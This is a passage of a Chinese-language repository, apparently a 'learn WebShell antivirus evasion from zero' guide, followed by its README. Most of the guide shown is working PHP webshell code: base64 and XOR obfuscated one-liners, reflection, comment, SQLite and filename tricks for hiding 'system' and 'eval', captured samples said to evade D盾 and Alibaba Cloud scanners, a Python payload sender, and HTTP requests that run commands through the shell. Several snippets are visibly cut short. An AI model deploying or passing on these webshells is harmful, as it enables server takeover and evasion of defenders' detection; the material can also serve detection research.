1527 | $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
1528 |
1529 | eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
1530 | ```
1531 |
1532 | 加密手法可以看我写的博客: [https://blog.zgsec.cn/archives/147.html](https://blog.zgsec.cn/archives/147.html)
1533 |
1534 | ## 9# 传参绕过
1535 |
1536 | 将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别
1537 |
1538 | ### 9.1 Base64传参
1539 |
1540 | ```php
1541 | $decrpt = $_REQUEST['a'];
1542 | $arrs = explode("|", base64_decode($decrpt));
1543 | call_user_func($arrs[0],$arrs[1]);
1544 | ```
1545 |
1546 | 传参内容:
1547 |
1548 | ```php
1549 | a=c3lzdGVtfHdob2FtaSAg //system|whoami 的base64加密
1550 | ```
1551 |
1552 | 也可以尝试使用其他编码或者加密方式进行传参
1553 |
1554 | ### 9.2 函数构造传参
1555 |
1556 | 可以用一些定义函数的函数来进行传参绕过,比如使用 `register_tick_function()` 这个函数
1557 |
1558 | ```php
1559 | register_tick_function ( callable $function [, mixed $... ] ) : bool
1560 | ```
1561 |
1562 | 例子如下:
1563 |
1564 | ```php
1565 | $f = $_REQUEST['f'];
1566 | declare(ticks=1);
1567 | register_tick_function ($f, $_REQUEST['aabyss']);
1568 | ```
1569 |
1570 | ## 10# 自定义函数绕过
1571 |
1572 | 通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行
1573 |
1574 | ### 10.1 简单自定义函数
1575 |
1576 | 这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀
1577 |
1578 | ```php
1579 | function out($b){
1580 | return $b;
1581 | }
1582 | function zhixin($a){
1583 | return system($a);
1584 | }
1585 | function post(){
1586 | return $_POST['aabyss'];
1587 | }
1588 |
1589 | function run(){
1590 | return out(zhixin)(out(post()));
1591 | }
1592 |
1593 | run();
1594 | ```
1595 |
1596 | ### 10.2 读取已定义函数
1597 |
1598 |
1599 | 获取某个类的全部已定义的常量,不管可见性如何定义
1600 |
1601 | ```php
1602 | public ReflectionClass::getConstants(void) : array
1603 | ```
1604 |
1605 | 例子如下:
1606 |
1607 | ```php
1608 | class Test
1609 | {
1610 | const a = 'Sy';
1611 | const b = 'st';
1612 | const c = 'em';
1613 |
1614 | public function __construct(){
1615 | }
1616 | }
1617 |
1618 | $para1;
1619 | $para2;
1620 | $reflector = new ReflectionClass('Test');
1621 |
1622 | for ($i=97; $i <= 99; $i++) {
1623 | $para1 = $reflector->getConstant(chr($i));
1624 | $para2.=$para1;
1625 | }
1626 |
1627 | foreach (array('_POST','_GET') as $_request) {
1628 | foreach ($$_request as $_key=>$_value) {
1629 | $$_key= $_value;
1630 | }
1631 | }
1632 |
1633 | $para2($_value);
1634 | ```
1635 |
1636 | ## 11# 读取字符串绕过
1637 |
1638 | 重点还是放在高危函数上,通过读取各种东西来获得对应字符串
1639 |
1640 | ### 11.1 读取注释
1641 |
1642 | 这里用到读取注释的函数
1643 |
1644 | ```php
1645 | ReflectionClass::getDocComment
1646 | ```
1647 |
1648 | 例子如下:
1649 |
1650 | ```php
1651 | /**
1652 | * system($_GET[aabyss]);
1653 | */
1654 | class User { }
1655 | $user = new ReflectionClass('User');
1656 | $comment = $user->getDocComment();
1657 | $f = substr($comment , 14 , 22);
1658 | eval($f);
1659 | ```
1660 |
1661 | ### 11.2 读取数据库
1662 |
1663 | 可以通过 `file_put_contents` 文件写入函数写入一个Sqlite的数据库
1664 |
1665 | ```php
1666 | $datatest = "[文件的base64编码]";
1667 | file_put_contents('./要写入的文件名', base64_decode($datatest));
1668 | ```
1669 |
1670 | 然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果
1671 |
1672 | ```php
1673 | $path = "数据库文件名"
1674 |
1675 | $db = new PDO("sqlite:" . $path);
1676 |
1677 | $sql_stmt = $db->prepare('select * from test where name="system"');
1678 | $sql_stmt->execute();
1679 |
1680 | $f = substr($sql_stmt->queryString, -7, 6);
1681 | $f($_GET['b']);
1682 | ```
1683 |
1684 | ### 11.3 读取目录
1685 |
1686 | `FilesystemIterator` 是一个迭代器,可以获取到目标目录下的所有文件信息
1687 |
1688 | ```php
1689 | public FilesystemIterator::next ( void ) : void
1690 | ```
1691 |
1692 | 可以尝试使用 `file_put_contents` 写入一个名为 `system.aabyss` 的空文件,然后遍历目录拿到字符串 `system` ,成功ByPass
1693 |
1694 | ```php
1695 | $fi = new FilesystemIterator(dirname(__FILE__));
1696 | $f = '';
1697 | foreach($fi as $i){
1698 | if (substr($i->__toString(), -6,6)=='aabyss') //判断后缀名为.aabyss的文件(其他特殊后缀也行)
1699 | $f = substr($i->__toString(), -13,6); //从system.aabyss提取出system高危函数
1700 | }
1701 | $f($_GET['b']);
1702 | ```
1703 |
1704 | 为什么要写入为 `system.aabyss` 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了
1705 |
1706 | ## 12# 多姿势配合免杀
1707 |
1708 | 将以上提到的相关姿势,进行多种配合嵌套,实现免杀效果
1709 |
1710 | ### 12.1 样例一
1711 |
1712 | 刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路
1713 |
1714 | 这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义
1715 |
1716 | ```php
1717 | =~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
1718 | ```
1719 | 这时候,就可以执行GET传参:`?_=system&__=whoami` 来执行whoami命令
1720 |
1721 | 由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看
1722 | ```php
1723 | =~$_='$<>/'^'{{{{';
1724 | //即 '$<>/' ^ '{{{{'
1725 | //即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
1726 | ```
1727 | 所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 `_GET`
1728 |
1729 | 所以整个PHP语句解密后,再将 `_` 替换为 `a`,将 `__` 替换为 `b`,则原PHP转化为:
1730 | ```php
1731 | $_GET['a']($_GET['b'])
1732 | ```
1733 | 当我们给 `a` 传 `system`,给 `b` 传 `whoami`,原式就会变成这样
1734 | ```php
1735 | system('whoami');
1736 | ```
1737 |
1738 | 既然上面的代码你看懂了,那不妨看一下下面魔改的代码:
1739 | ```php
1740 | =~$_='$<>/'^'{{{{';$___='$}4(/' ^ '{-{{{';@${$_}[_](@${$___}[__]);
1741 | ```
1742 | 直接用 Godzilla 哥斯拉来连接,如下:
1743 |
1744 | 
1745 |
1746 | 当然这里使用到 `assert` 高危函数,只能用于 `php` 在 `5.*` 的版本,相关姿势读者不妨自行拓展一下哈哈~
1747 |
1748 | ### 12.2 样例二
1749 |
1750 | 这个免杀马是最近捕获到的,可以轻松过D盾、阿里云等一众查杀引擎~
1751 |
1752 | 
1753 |
1754 | 
1755 |
1756 | 这个样例使用了字符串截取+编解码转换+参数回调的手法,成功规避了正则匹配式,具有实战意义
1757 |
1758 | ```php
1759 | $v){
1767 | $_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1768 | }
1769 | @$post=base64_encode($_POST['Qxi*37yz']);
1770 | @$post1=base64_decode(@$post);
1771 | return $post1;
1772 | }
1773 | function Xt(){
1774 | return eval($this->encode());
1775 | }
1776 | }
1777 | $t=new Car;
1778 | $t->Xt();
1779 | ?>
1780 | ```
1781 | 这时候,就可以执行POST传参:`num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62` 来执行whoami命令
1782 |
1783 | 这个PHP内定义了两个函数,分别是 `encode()` 和 `Xt()`,我们先看 `encode()`:
1784 |
1785 | ```php
1786 | function encode(){
1787 | $num1=base64_encode($_POST['num']);
1788 | $num=base64_decode($num1);
1789 | echo "1";
1790 | foreach($_POST as $k => $v){
1791 | $_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1792 | }
1793 | @$post=base64_encode($_POST['Qxi*37yz']);
1794 | @$post1=base64_decode(@$post);
1795 | return $post1;
1796 | }
1797 | ```
1798 | 传入了两个参数,参数名分别为 `num` 和 `Qxi*37yz`,这个函数的输出为 `$post1`,关键就在于以下这一行代码:
1799 |
1800 | ```php
1801 | foreach($_POST as $k => $v){
1802 | $_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1803 | }
1804 | ```
1805 | 然后我们根据上文提到的知识点0.8、1.5和2.1以及2.4,可以了解到这一行代码的意思:
1806 |
1807 | - `substr()` 函数将传进去的 `Qxi*37yz` 参数字符串,删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容)
1808 | - `pack("H*",...)` 函数将处理后的 `Qxi*37yz` 参数字符串进行十六进制编码转换
1809 | - `foreach()` 将原本的 `$_POST` 变量替换为经过十六进制编码转换后的字符串
1810 |
1811 | 注:这里可能有些绕,多上手尝试一下就明白了
1812 |
1813 | 接下来我们来看 `Xt()` 这个函数:
1814 |
1815 | ```php
1816 | function Xt(){
1817 | return eval($this->encode());
1818 | }
1819 | ```
1820 | 它将 `encode()` 函数的执行结果带入到 `eval()` 高危函数当中,即:
1821 |
1822 | ```php
1823 | function Xt(){
1824 | return eval($post1); //encode()函数的输出为$post1
1825 | }
1826 | ```
1827 | 那假设我们要执行 `whoami` 命令,那就要让 `$post1` 等于 `system('whoami');`,这没毛病吧?
1828 |
1829 | 所以结合来看,我们先要生成16进制的字符串:
1830 |
1831 | 
1832 |
1833 | 但眼尖的师傅可能会发现,为什么最前面要加个 `a` 以及最后面要加个 `b` 呢?
1834 | 那是因为上面有 `substr()` 函数啊,会删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容),小傻瓜~所以现在懂了吗?
1835 |
1836 | 所以整体参数的传参流程如下:
1837 |
1838 | 
1839 |
1840 | - 刚开始传入参数:`num`=`2`,`Qxi*37yz`=`6173797374656d282777686f616d6927293b62`
1841 | - 第一步:先根据 `substr()`,从num=2开始截取到倒数第2位,于是 `Qxi*37yz` 便等于 `73797374656d282777686f616d6927293b`
1842 | - 第二步:再根据 `pack("H*",...)`,将 `Qxi*37yz`=`73797374656d282777686f616d6927293b` 从16进制转为字符串即 `system('whoami');`
1843 | - 第三步:最后根据 `foreach()`,将内容返还给原本的值,使得 `encode()` 函数的输出变量 `$post1` 为 `system('whoami');`
1844 | - 第四步:再在 `Xt()` 函数当中,用 `eval()` 高危函数执行php语句 `system('whoami');`,便成功执行系统命令 `whoami`
1845 |
1846 | 当然这个PHP木马也能用蚁剑来连接,前提是需要写一个编码器,如果你懂原理了,相信你分分钟就能写出来~
1847 |
1848 | 这里的话,微信的 `@Elvery` 师傅还写了一个直接生成Payload一键传参的Python脚本,师傅们可以参考一下:
1849 | ```python
1850 | import requests
1851 | import base64
1852 |
1853 | # 指定num参数和要执行的PHP代码
1854 | num = 5
1855 | php_code = 'echo "Hello, world!";'
1856 |
1857 | # 把PHP代码转换为十六进制字符串
1858 | hex_code = php_code.encode().hex()
1859 |
1860 | # 在字符串的开头和结尾加上num个任意字符
1861 | encoded_code = 'a'*num + hex_code + 'a'*num
1862 |
1863 | # 发送POST请求
1864 | response = requests.post('http://your-target-url/path-to-php-file.php', data={
1865 | 'num': num,
1866 | 'Qxi*37yz': encoded_code,
1867 | })
1868 |
1869 | # 打印服务器的响应
1870 | print(response.text)
1871 | ```
1872 |
1873 | 
1874 |
1875 | ### 12.3 样例三
1876 |
1877 | 这个免杀马是在近期某大型攻防演练中捕获到的,也是能过一众查杀引擎~
1878 | 这个样例使用了异或+编解码转换+参数加解密回调+密钥协商的手法,成功规避了语义分析和正则匹配式,具有实战意义
1879 |
1880 | 这个WebShell和冰蝎马等具有相似性,各位师傅不妨可以看看原理:
1881 |
1882 | ```php
1883 | if (!isset($_SESSION['token'])) 这行代码首先检查当前会话(session)中是否存在名为 "token" 的变量。
1945 | >$_SESSION 是用于在PHP中存储会话数据的关联数组,通常用于在不同页面之间共享数据。isset函数用于检查变量是否已经被设置,如果变量存在并且有值,返回 true,否则返回 false。
1946 |
1947 | 所以根据知识点,我们要先给服务器发一个 `Token` 值,这样就可以进入IF,服务器就会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
1948 |
1949 | 但 `Token` 只需要获取一次就行了,因为服务器生成并返还令牌(token)后,会存在会话(session)中,简单理解就是服务器的内存当中,后续的使用就不要添加`Token` 值了
1950 | **【因为如果再获取,令牌(token)又会重新生成,就无法进入else的后续步骤,这一步可能有点绕,不明白的师傅不妨上手实践一下哈哈】**
1951 |
1952 | ```php
1953 | $v=$_SERVER['HTTP_X_CSRF_TOKEN'];
1954 | $b='DQHNGW'^'&0;+qc';
1955 | $b.= '_dec'.chr(111).'de';
1956 | $v=$b($v."");
1957 | ```
1958 |
1959 | 由8.1讲到的异或和0.1讲到的拼接赋值,以上代码可转化为:
1960 |
1961 | ```php
1962 | $v = $_SERVER['HTTP_X_CSRF_TOKEN'];
1963 | $b = "base64_decode";
1964 | $v = $b($v."");
1965 | ```
1966 |
1967 | 意思就是,从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v`
1968 |
1969 | 接下来我们再来看类 `class E` :
1970 |
1971 | ```php
1972 | class E {
1973 | public function __construct($p) {
1974 | $c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
1975 | $e = $c($p);
1976 | eval(null.$e."");
1977 | }
1978 | }
1979 | ```
1980 |
1981 | 同样根据相关知识点,我们可以将以上代码转化为以下:
1982 |
1983 | ```php
1984 | class E {
1985 | public function __construct($p) {
1986 | $c = "base64_decode";
1987 | $e = $c($p);
1988 | eval(null.$e."");
1989 | }
1990 | }
1991 | ```
1992 |
1993 | 意思就是类 `class E` 接受一个参数 `$p`,将其通过Base64解密后,放入高危函数 `eval` 内执行
1994 | **那我们想要成功执行命令,就必须控制 `$p` 的传入值**
1995 |
1996 | 那我们看看所谓的 `$p` 是从哪里传入的吧:
1997 |
1998 | ```php
1999 | @new E(set_token($v, $_SESSION['token']));
2000 | ```
2001 |
2002 | 由此可知,`$p` 为 `set_token($v, $_SESSION['token'])` 的执行结果,所以我们要控制 `set_token($v, $_SESSION['token'])` 的内容才能成功执行命令
2003 |
2004 | - `$v` 参数:从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v`
2005 | - `$_SESSION['token']` 参数:给服务器发一个 `TOKEN` 值,会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
2006 |
2007 | 明白了两个参数都是从哪来的之后,我们再来看函数 `set_token()`:
2008 |
2009 | ```php
2010 | function set_token($v,$t) {
2011 | $r="";
2012 | for ($x=0; $x$_SESSION['token']` 和执行的最终结果 `$r=>c3lzdGVtKCd3aG9hbWknKTsg`,那我们能不能通过这两个变量获得 `$v`呢,当然可以!!!
2032 |
2033 | ```php
2034 | $_SESSION['token']` 和 `$r=>c3lzdGVtKCd3aG9hbWknKTsg`,拿到参数 `$v`
2057 |
2058 | 至此,整条利用链已经清晰,我们来复现一下吧:
2059 |
2060 | #### 12.3.1 第一步、密钥协商得到Token
2061 |
2062 | 对WebShell进行发包,`Token` 随便填啥都行
2063 |
2064 | ```http
2065 | GET /muma.php HTTP/1.1
2066 | Host: test.ctf.com
2067 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2068 | Token: 1
2069 | Content-Length: 0
2070 |
2071 | ```
2072 |
2073 | 在返回包中可以看到服务器生成的 `Token` 值和 `Cookie` 值
2074 |
2075 | 
2076 |
2077 | #### 12.3.2 第二步,得到X-CSRF-TOKEN
2078 |
2079 | 假设我们想执行系统命令 `whoami`,PHP代码就是 `system('whoami'); `,对其进行Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,当然你想执行其他的命令也行哈哈
2080 |
2081 | ```http
2082 | POST /decode.php HTTP/1.1
2083 | Host: test.ctf.com
2084 | Content-Type: application/x-www-form-urlencoded
2085 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2086 | Content-Length: 0
2087 |
2088 | token=a2b3fca92539495e&out=c3lzdGVtKCd3aG9hbWknKTsg
2089 | ```
2090 |
2091 | 然后通过上文写的解密PHP,通过第一步获得的 `Token` 值和最终Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,拿到得到 `X-CSRF-TOKEN`
2092 |
2093 | 
2094 |
2095 | **注:这不是对WebShell发包,而是我上面写的解密PHP `decode.php` 来进行解密**
2096 |
2097 | #### 12.3.3 第三步,利用木马成功执行命令
2098 |
2099 | 现在已经拿到 `X-CSRF-TOKEN` 和 `Cookie` 了,那就直接发包即可
2100 |
2101 | ```http
2102 | POST /muma.php HTTP/1.1
2103 | Host: test.ctf.com
2104 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2105 | Content-Type: application/x-www-form-urlencoded
2106 | Cookie: PHPSESSID=6g4sgte2t8nnv65u8er5cfdtnq;
2107 | X-CSRF-TOKEN: AgEOSQIkN015dlcKVX4MDQNlCV0tNxJe
2108 | Content-Length: 0
2109 |
2110 | ```
2111 |
2112 | 可以看到,成功执行系统命令 `whoami` 了
2113 |
2114 | 
2115 |
2116 | 所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
2117 |
2118 |
2119 | # 四,总结
2120 |
2121 | 上面分享了诸多姿势,重点还是灵活依靠思路和姿势,通过活用各种特性和函数来和WAF对抗,相信你自己也可以的!
2122 |
2123 | 在写这个整理的文档的时候,也收获颇多,希望各位师傅能认真研读,小人不才望大佬多加指正
2124 |
2125 | 其实在我个人的眼里,安全对抗其实就是人与人之间的灵魂、思维在碰撞和对抗,我一直执着于这个过程,也欢迎各位师傅和我互相学习、共同进步哈哈~
2126 |
2127 | 我的个人Github: [https://github.com/AabyssZG/](https://github.com/AabyssZG/)
2128 |
2129 | 最后,也欢迎各位师傅关注我们团队公众号啦
2130 |
2131 | 
2132 |
2133 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 从零学习WebShell免杀手册系列
2 | ### 临渊羡鱼,不如退而结网;扬汤止沸,不如去火抽薪。
3 |
4 | 
5 |
6 | ## 1# 本手册系列目录
7 |
8 | * [x] PHP从零学习到Webshell免杀手册【基本完成】
9 | * [ ] PHP-WebShell管理工具免杀手册【完善中】
10 | * [ ] JSP从零学习到Webshell免杀手册【完善中】
11 | * [ ] JSP-WebShell管理工具免杀手册【还没开始】
12 | * [ ] CSharp(ASP.Net)从零学习到Webshell免杀手册【规划中】
13 |
14 |
15 | ## 2# 阅读具体免杀手册内容
16 |
17 | **请点击想看的手册名字,下方会自动弹出相应内容:**
18 |
19 |
20 | 2.1 PHP从零学习到Webshell免杀手册
21 |
22 | 本手册已经开源,开源地址:[WebShell-Bypass-Guide/PHP-Webshell-ByPass-Guide.md](/PHP-Webshell-ByPass-Guide.md)
23 |
24 | **手册版本号:V1.4.9-2025/01/10**
25 |
26 | 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
27 |
28 | ### 如何在线阅读?
29 |
30 | - 个人博客地址: [https://blog.zgsec.cn/archives/197.html](https://blog.zgsec.cn/archives/197.html)
31 | - SeeBug Paper地址:[https://paper.seebug.org/3044/](https://paper.seebug.org/3044/)
32 | - 阿里先知社区:[https://xz.aliyun.com/t/13591](https://xz.aliyun.com/t/13591)
33 | - FreeBuf地址:[https://www.freebuf.com/articles/web/380751.html](https://www.freebuf.com/articles/web/380751.html)
34 | - 奇安信攻防社区地址:[https://forum.butian.net/share/2488](https://forum.butian.net/share/2488)
35 | - Gitee开源地址:[https://gitee.com/AabyssZG/WebShell-Bypass-Guide](https://gitee.com/AabyssZG/WebShell-Bypass-Guide)
36 |
37 |
38 |
39 |
40 | 2.2 PHP-WebShell管理工具免杀手册
41 |
42 | **手册版本号:V1.0.1**
43 |
44 | 手册还在完善中,争取尽早开源
45 |
46 |
47 |
48 |
49 | 2.3 JSP从零学习到Webshell免杀手册
50 |
51 | **手册版本号:V1.0.1**
52 |
53 | 手册还在完善中,争取尽早开源
54 |
55 |
56 |
57 |
58 | 2.4 JSP-WebShell管理工具免杀手册
59 |
60 | 由于平时比较繁忙,项目维护时间不是很多,还没写哈哈
61 |
62 |
63 |
64 |
65 | 2.5 CSharp(ASP.Net)从零学习到Webshell免杀手册
66 |
67 | 本项目由塔菲师傅主编维护,编写ing
68 |
69 |
70 |
71 | **如果师傅们觉得不错,欢迎给我点个Star哈哈~ 有什么新的WebShell免杀姿势、手法,欢迎与我们交流**
72 |
73 | 也欢迎各位师傅关注我们团队公众号啦
74 |
75 | 
76 |
77 |
78 | ## 3# 相关说明
79 |
80 | 本手册由渊龙Sec安全团队的 [`@AabyssZG`](https://github.com/AabyssZG) 和 [`@塔菲`](https://github.com/thebatmanfuture) 师傅共同整理
81 |
82 | 1. **本资料仅供学习参考,严禁使用者进行未授权渗透测试!**
83 | 2. **部分免杀思路来自互联网,欢迎各位师傅和我交流。**
84 | 3. **本文为内部参考资料,仅作学习交流,严禁任何形式的转载。**
85 | 4. **本文档内容为完整版,由渊龙Sec安全团队成员 `AabyssZG` 和 `塔菲` 师傅共同编写。**
86 |
87 | **关于学习交流以及问题的解决**
88 |
89 | 
90 |
91 | 如果微信群已满200人,请加微信号 `chunshangchunshu_` 邀请入群即可
92 |
93 | ## 4# 感谢各位师傅
94 |
95 | ## Stargazers
96 |
97 | [](https://github.com/AabyssZG/WebShell-Bypass-Guide/stargazers)
98 |
99 | ## Forkers
100 |
101 | [](https://github.com/AabyssZG/WebShell-Bypass-Guide/network/members)
102 |
103 | ## Star History
104 |
105 | [](https://star-history.com/#AabyssZG/WebShell-Bypass-Guide&Date)
106 |
--------------------------------------------------------------------------------
/img/Readme.md:
--------------------------------------------------------------------------------
1 | 手册图片目录
2 |
--------------------------------------------------------------------------------
/img/WeChat.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Aabyss-Team/WebShell-Bypass-Guide/565832945725751537936d6d72bde02d48bc0635/img/WeChat.jpg
--------------------------------------------------------------------------------
/img/微信公众号.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Aabyss-Team/WebShell-Bypass-Guide/565832945725751537936d6d72bde02d48bc0635/img/微信公众号.bmp
--------------------------------------------------------------------------------